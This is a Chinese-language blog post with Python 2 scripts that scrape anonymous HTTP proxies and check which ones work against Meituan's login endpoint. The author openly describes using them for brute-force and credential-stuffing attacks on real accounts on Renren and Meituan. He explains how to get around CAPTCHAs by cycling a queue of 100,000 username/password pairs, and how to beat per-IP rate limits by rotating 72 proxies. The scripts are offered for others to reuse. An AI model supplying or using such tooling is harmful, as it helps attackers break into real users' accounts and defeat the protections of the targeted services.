首頁  >  文章  >  後端開發  >  透過python批量取得及驗證HTTP代理程式的程式碼範例

透過python批量取得及驗證HTTP代理程式的程式碼範例

Y2J
Y2J原創
2017-05-02 15:24:121457瀏覽

這篇文章主要介紹了批量獲取及驗證HTTP代理的Python腳本,需要的朋友可以參考下

HTTP暴力破解、撞庫,有一些慣用的技巧,比如:

1. 在掃號人人網路時,我遇到單一帳號錯誤兩次,強制要求輸入驗證碼,而對方並未實施IP策略。

我採用維護10萬(用戶名,密碼) 佇列的方式來繞過驗證碼。具體的做法是,當某個使用者名稱、密碼組合遇到需要驗證碼,就把該破解序列掛起,放到佇列尾部等待下次測試,繼續破解其他帳號密碼。

這樣就可以保證2/3的時間都在進行正常破解和掃號。

2. 在破解美團網某系統帳號時,我遇到了單一IP存取有一定限制,請求頻率不可過快。於是我掛了72個 HTTP代理來解決這個問題。 看似每個IP的請求都正常,但其實從整個程式來看,效率還挺可觀的。

這篇我發出自己抓HTTP的腳本片段,其實只有幾行。匿名代理程式是從這裡抓取的:http://www.xici.net.co/nn/

首先取得代理程式清單:

from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)
of.close()

接著驗證代理程式是否可用,因為我是用來破解美團網路系統的帳號,因此用了美團的頁面標記:

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

以上是透過python批量取得及驗證HTTP代理程式的程式碼範例的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn